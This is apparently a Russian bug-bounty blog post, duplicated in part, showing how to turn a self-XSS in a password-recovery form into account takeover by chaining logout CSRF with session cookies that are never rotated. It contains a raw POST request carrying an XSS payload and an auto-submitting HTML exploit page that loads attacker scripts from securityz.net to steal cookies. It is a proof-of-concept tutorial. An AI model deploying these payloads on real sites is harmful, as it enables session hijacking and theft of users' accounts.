Я писал эту статью полгода назад в своём блоге на wordpress для англоязычных пользователей, решил её написать на русском здесь. Уверен, что это тема актуальная сейчас с быстрым появлением различных bug bounty программ и будет многим интересна.
Итак, у нас есть хранимая или отраженная XSS в форме восстановления пароля.
Но мы не можем осуществить атаку на пользователя, так как это не XSS в учетной записи. И если мы не можем прислать юзабельный PoC, то эта уязвимость класифицируется как SELF XSS, она не опасная и не может претендовать на большую награду в Bug Bounty!
Сейчас я расскажу, как доказать в bug bounty, что наша self xss опасная.
У нас есть страница страница example.com/rememberpassword. Происходит POST запрос и нету фильтрации в поле email адреса/имени/номеру карты и тд:
Вообщем, наша задача — заманить жертву на example.com/rememberpassword, выполнить наш код и украсть ее cookies. Но это не будет работать, если жертва находится в своем аккаунте.
И здесь нам помогут две уязвимости:
1. Первая уязвимость — LOGOUT CSRF. Уязвимость заключается в том, что вы можете выйти из аккаунта жертвы без ее согласия, то есть она переходит на example.com/en/account?option=logout, и выходит из аккаунта.
Чтобы предотвратить это, для каждой ссылки выхода из аккаунта должен прилагаться уникальный токен CSRF, как, например, в vk.com — https://login.vk.com/?act=logout&hash=8b8bcf7f3cbd6d32d5&_origin=https://vk.com.
Эксплуатация очень простая — подгружаем ссылку выхода картинкой:
2. Уязвимость Broken Authentication & Session Managament. Она заключается в том, что, когда жертва вышла из своего аккаунта, а затем зашла — cookies не изменились! Это опасно, номер 2 owasp https://www.owasp.org/index.php/Top_10_2013-Top_10, может быть использована для сплойта с другими багами. Необходимо генерировать новые значения куки в каждом новом входе.
Нам нужно протестить баг дважды — сравнить cookies после первого входа и после второго (после логаута), не один символ не должен измениться.
Таким образом, вторая ошибка, она как пассивная, с ней ничего не нужно делать. И с помощью первой уязвимости пишем CSRF эксплойт, грузим ссылку выхода из системы в HTML в шапку:
Эксплойт готов.
И когда мы украли cookies жертвы, можем заходить на её аккаунт, ведь cookies не уничтожаются после выхода из аккаунта.
Подобные уязвимости (Logout CSRF/Broken Authentication) я встречаю везде, кроме крупных проектов, и с их помощью, с помощью xss(не в аккаунте) и сниффера можно легко взломать аккаунт (если, конечно, нету httponly).
После тестирования XSS обязательно тестируем на Template Injection.
Всем Удачи в поисках уязвимостей!
Не забудьте посмотреть мою статью Iframe injection и XSS на более чем 20 000 сайтах alexarank.
Итак, у нас есть хранимая или отраженная XSS в форме восстановления пароля.
Но мы не можем осуществить атаку на пользователя, так как это не XSS в учетной записи. И если мы не можем прислать юзабельный PoC, то эта уязвимость класифицируется как SELF XSS, она не опасная и не может претендовать на большую награду в Bug Bounty!
Сейчас я расскажу, как доказать в bug bounty, что наша self xss опасная.
У нас есть страница страница example.com/rememberpassword. Происходит POST запрос и нету фильтрации в поле email адреса/имени/номеру карты и тд:
POST /rememberpassword HTTP/1.1 Host: example.com Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Encoding: gzip, deflate Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 159 formName=rememberpassword&email=”>http://securityz.net/evil.js&humanizm%5Bid%5D=32d2d845d4793a3e75d13d7fc8187aea&humanizm%5Binput%5D=1596
Вообщем, наша задача — заманить жертву на example.com/rememberpassword, выполнить наш код и украсть ее cookies. Но это не будет работать, если жертва находится в своем аккаунте.
И здесь нам помогут две уязвимости:
1. Первая уязвимость — LOGOUT CSRF. Уязвимость заключается в том, что вы можете выйти из аккаунта жертвы без ее согласия, то есть она переходит на example.com/en/account?option=logout, и выходит из аккаунта.
Чтобы предотвратить это, для каждой ссылки выхода из аккаунта должен прилагаться уникальный токен CSRF, как, например, в vk.com — https://login.vk.com/?act=logout&hash=8b8bcf7f3cbd6d32d5&_origin=https://vk.com.
Эксплуатация очень простая — подгружаем ссылку выхода картинкой:
<img src="http://example.com/en/account?option=logout">2. Уязвимость Broken Authentication & Session Managament. Она заключается в том, что, когда жертва вышла из своего аккаунта, а затем зашла — cookies не изменились! Это опасно, номер 2 owasp https://www.owasp.org/index.php/Top_10_2013-Top_10, может быть использована для сплойта с другими багами. Необходимо генерировать новые значения куки в каждом новом входе.
Нам нужно протестить баг дважды — сравнить cookies после первого входа и после второго (после логаута), не один символ не должен измениться.
Таким образом, вторая ошибка, она как пассивная, с ней ничего не нужно делать. И с помощью первой уязвимости пишем CSRF эксплойт, грузим ссылку выхода из системы в HTML в шапку:
<html>
<head>
<img src=”http://example.com/en/account?option=logout”>
</head>
<body>
<form action=”http://example.com/rememberpassword” method=”POST”>
<input type=”hidden” name=”formName” value=”rememberpassword” />
"><script src=https://securityz.net/t.js?319316></script></script>
<input type=”hidden” name=”email” value=”<script src='http://securityz.net/evil.js” />
<input type=”hidden” name=”humanizm[id]” value=”d8ac3bdda21255b54bcdd549bb15962c” />
<input type=”hidden” name=”humanizm[input]” value=”” />
<input type=”submit” id=”qiece” value=”Submit request” />
</form>
<script>document.getElementById(“qiece”).click();</script>
</body>
</html>Эксплойт готов.
И когда мы украли cookies жертвы, можем заходить на её аккаунт, ведь cookies не уничтожаются после выхода из аккаунта.
Подобные уязвимости (Logout CSRF/Broken Authentication) я встречаю везде, кроме крупных проектов, и с их помощью, с помощью xss(не в аккаунте) и сниффера можно легко взломать аккаунт (если, конечно, нету httponly).
После тестирования XSS обязательно тестируем на Template Injection.
Всем Удачи в поисках уязвимостей!
Не забудьте посмотреть мою статью Iframe injection и XSS на более чем 20 000 сайтах alexarank.
Поделиться с друзьями
Loki3000
Чтобы доказать что эта уязвимость опасная, нужно три уязвимости вместо одной. Не дофига ли допущений? А если у админа сервера «password» в качестве пароля от ssh, то XSS вообще становится опасная-преопасная!
Graphite